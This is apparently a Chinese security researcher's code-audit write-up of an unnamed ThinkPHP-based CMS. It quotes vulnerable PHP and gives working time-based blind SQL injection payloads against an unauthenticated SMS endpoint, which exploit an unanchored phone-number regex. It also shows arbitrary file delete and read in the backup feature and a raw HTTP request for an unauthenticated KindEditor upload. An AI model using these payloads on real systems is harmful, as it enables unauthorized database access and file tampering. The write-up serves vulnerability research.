某类似onethink的代码审计

不知道者cms叫啥

后台页面这个样子

1606905502817

首先说一下,没找到什么getshell的点

  • S函数全局未调用
  • tp2、3、3.1的正则使用/e修饰符,但是没开启lite模式
  • 后台file_put_contents函数全部转义
  • 文件上传均采用白名单+重命名
  • 未发现copy函数
  • 未发现远程下载的函数
  • 未发现文件包含
  • 未发现代码执行和命令执行

第一处假注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function addrechargelog(){

$username = session('username');
$data=[
'pay_id'=>$username,
'type'=>1,
'status'=>3,//提交审核
'up_time'=>date('Y-m-d H:i:s',time()),
'money'=>$_POST['money'],
'pay_tag'=>$_POST['notis'],
'bank_name'=>$_POST['bank_name'],
'bank_username'=>$_POST['bank_username'],
'bank_num'=>$_POST['bank_num'],
'creat_time'=>time()
];
$Dao = new Model();
$sql='INSERT INTO `codepay_order` ( `pay_id`, `money`, `type`, `pay_tag`, `status`, `creat_time`, `pay_time`, `up_time`,`bank_name`,`bank_username`,`bank_num`)'.' VALUES (\''.$username.'\',\''.$_POST['money'].'\',\''.$data['type'].'\',\''.$data['pay_tag'].'\',\''.$data['status'].'\',\''.$data['creat_time'].'\',\''.$data['creat_time'].'\',\''.$data['up_time'].'\',\''.$data['bank_name'].'\',\''.$data['bank_username'].'\',\''.$data['bank_num'].'\')';
$res = $Dao->query($sql);
$res=[
'error'=>0

];
exit(json_encode($res)) ;
}

实际测试的时候发现不存在codepay_order表,真的苟啊!

pass

后台注入

举两个例子,有很多,不在多说

systemlogined模块下的shopAction

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function editProduct(){
$type = M('type');
$product = M("product");
$types = $type ->select();
$id = $_GET['id'];
$data = $product -> find($id);
$this -> assign('product',$data);
$this->assign('types',$types);
$this->display();
}

//修改guanggao
public function editbanner(){
$banner = M('banner');
$id = $_GET['id'];
$banners = $banner -> find($id);
$this->assign('banners',$banners);
$this->display();
}

InfoAction的editxiangmu方法

1
2
3
4
5
6
7
8
9
10
11
12
public function editxiangmu(){
$_POST['edittime'] = time();
$id = I('aid');
unset($_POST['aid']);

M('xiangmu')->where(array('id'=>$id))->data($_POST)->save();
//添加日志操作
$desc = '修改项目';
write_log(session('username'),'admin',$desc);

$this->success('修改成功',U(GROUP_NAME.'/Info/xiangmu'));
}

以及agent模块下的commonAction

order可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
protected function _list($model, $map, $sortBy = '', $asc = false) {
//排序字段 默认为主键名
if (isset($_REQUEST['_order'])) {
$order = $_REQUEST['_order'];
} else {
$order = !empty($sortBy) ? $sortBy : $model -> getPk();
}
//排序方式默认按照倒序排列
//接受 sost参数 0 表示倒序 非0都 表示正序
if (isset($_REQUEST['_sort'])) {
$sort = $_REQUEST['_sort'] ? 'asc' : 'desc';
} else {
$sort = $asc ? 'asc' : 'desc';
}
//取得满足条件的记录数
$count_model = clone $model;
//取得满足条件的记录数
if (!empty($count_model -> pk)) {
$count = $count_model -> where($map) -> count($model -> pk);
} else {
$count = $count_model -> where($map) -> count();
}
if ($count > 0) {
import("ORG.Util.Page");
//创建分页对象
$listRows = 20;
$p = new Page($count, $listRows);
//分页查询数据
$voList = $model -> where($map) -> order("`" . $order . "` " . $sort) -> limit($p -> firstRow . ',' . $p -> listRows) -> select();
$p -> parameter = $this -> _search;
//分页显示
$page = $p -> show();
...
}

然而有卵用,欠我一个柳暗花明

其实存在很多拼接问题,但是

  • 要么有过滤
  • 要么从session中获取,或者从数据库获取的参数
  • 要么拼接的地方在model中没有调用

前台SQL注入

common中存在如下拼接的方法

1
2
3
4
5
6
7
8
9
10
11
12
function sms_log($mobile,$code,$session_id){

$s_time=strtotime(date("Y-m-d 00:00:01",time()));
$o_time=strtotime(date("Y-m-d 23:59:59",time()));

$sms_count = M('sms_log')->where("mobile = '{$mobile}' and add_time > {$s_time} and add_time < {$o_time}")->count();

if($sms_count >=5){
return array('status'=>-1,'msg'=>'超出每日发送次数');
}
...
}

函数跟踪,在前台存在两处调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function send_sms_reg_code(){
$mobile = I('mobile');
if(!check_mobile($mobile))
exit(json_encode(array('status'=>-1,'msg'=>'手机号码格式有误!')));
if (M('member')->where(array('mobile'=>$mobile))->getField('id')) {
exit(json_encode(array('status'=>-1,'msg'=>'手机号码已存在!')));
}
$code = rand(1000,9999);
$send = sms_log($mobile,$code,session_id());
if($send['status'] != 1){
exit(json_encode(array('status'=>-1,'msg'=>$send['msg'])));
}
session('verify',null);
exit(json_encode(array('status'=>1,'msg'=>'验证码已发送,请注意查收')));
}

...
public function send_edit_code(){
$mobile = I('mobile');
if(!check_mobile($mobile))
exit(json_encode(array('status'=>-1,'msg'=>'手机号码格式有误!')));
$code = rand(1000,9999);
$send = sms_log($mobile,$code,session_id());
if($send['status'] != 1)
exit(json_encode(array('status'=>-1,'msg'=>$send['msg'])));
exit(json_encode(array('status'=>1,'msg'=>'验证码已发送,请注意查收')));
}

任选一处,跟踪check_mobile方法,发现正则匹配,只有结尾的符号没有开头的符号

1
2
3
4
5
function check_mobile($mobile){
if(preg_match('/1[34578]\d{9}$/',$mobile))
return true;
return false;
}

可以绕过

无条件注入,不需要注册,可直接访问,不过是延迟注入

payload:

1
mobile=a') or if(1=1,1,sleep(1))-- #aaa15265501199

1606907259963

exp

如果是root则可以继续渗透,后台还原sql应该可以获取shell

1
mobile=a') or if(substr(user(),1,4)='root',1,sleep(1))-- #aaa15265501199

后台表,字段如下

1606909273087

后台任意文件删除&读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
public function backUp() {
$DataDir = RUNTIME_PATH.'databak/';

if (!empty($_GET['Action'])) {
import("ORG.Util.MySQLReback");
$config = array(
'host' => C('DB_HOST'),
'port' => C('DB_PORT'),
'userName' => C('DB_USER'),
'userPassword' => C('DB_PWD'),
'dbprefix' => C('DB_PREFIX'),
'charset' => 'UTF8',
'path' => $DataDir,
'isCompress' => 0, //是否开启gzip压缩
'isDownload' => 0
);

$mr = new MySQLReback($config);
$mr->setDBName(C('DB_NAME'));
if ($_GET['Action'] == 'backup') {
$mr->backup();
//添加日志操作
$desc = '备份数据库';
write_log(session('username'),'admin',$desc);

redirect(U(GROUP_NAME.'/system/backUp'));
} elseif ($_GET['Action'] == 'RL') {
$mr->recover($_GET['File']);
//添加日志操作
$desc = '还原数据库';
write_log(session('username'),'admin',$desc);
redirect(U(GROUP_NAME.'/system/backUp'));

} elseif ($_GET['Action'] == 'Del') {
if (@unlink($DataDir . $_GET['File'])) {

//添加日志操作
$desc = '删除备份文件';
write_log(session('username'),'admin',$desc);
redirect(U(GROUP_NAME.'/system/backUp'));
} else {
$this->error('删除失败!');
}
}
if ($_GET['Action'] == 'dow') {
function DownloadFile($fileName) {
ob_end_clean();
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($fileName));
header('Content-Disposition: attachment; filename=' . basename($fileName));
readfile($fileName);
}
DownloadFile($DataDir . $_GET['file']);

//添加日志操作
$desc = '下载备份文件';
write_log(session('username'),'admin',$desc);
exit();
}
}

$filelist = dir_list($DataDir);
foreach ((array)$filelist as $r){
$filename = explode('-',basename($r));
$files[] = array('path'=> $r,'file'=>basename($r),'name' => $filename[0], 'size' => filesize($r), 'time' => filemtime($r));
}
$this->assign('files',$files);
$this->display();
}

安装getshell

在安装页面可以getshell,但是安装过之后,就不能在重装了,unlink了lock文件也不行

存在漏洞的参数。密钥key

1611837925764

其他

此cms采用KindEditor上传,继承了此上传组件的问题

未授权上传

可以上传zip、tz、rar、html、txt等后缀的文件

且属于未授权上传

上传页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /APP/Modules/Systemlogined/Tpl/Public/kindeditor/php/upload_json.php?dir=file HTTP/1.1
Host: xxx.xxx.xxx.xxx
Connection: close
Content-Length: 82626
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://xxx.xxx.xxx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjBlMirf8B1YmKKit
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: https://xxx.xxx.xxx/index.php/systemlogined/shop/editProduct
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7

------WebKitFormBoundaryjBlMirf8B1YmKKit
Content-Disposition: form-data; name="localUrl"

C:\fakepath\1606186464076.png
------WebKitFormBoundaryjBlMirf8B1YmKKit
Content-Disposition: form-data; name="imgFile"; filename="1606186464076.html"
Content-Type: image/png

aaaaaa
------WebKitFormBoundaryjBlMirf8B1YmKKit--

物理路径泄露

1
/APP/Modules/Systemlogined/Tpl/Public/kindeditor/php/file_manager_json.php?path=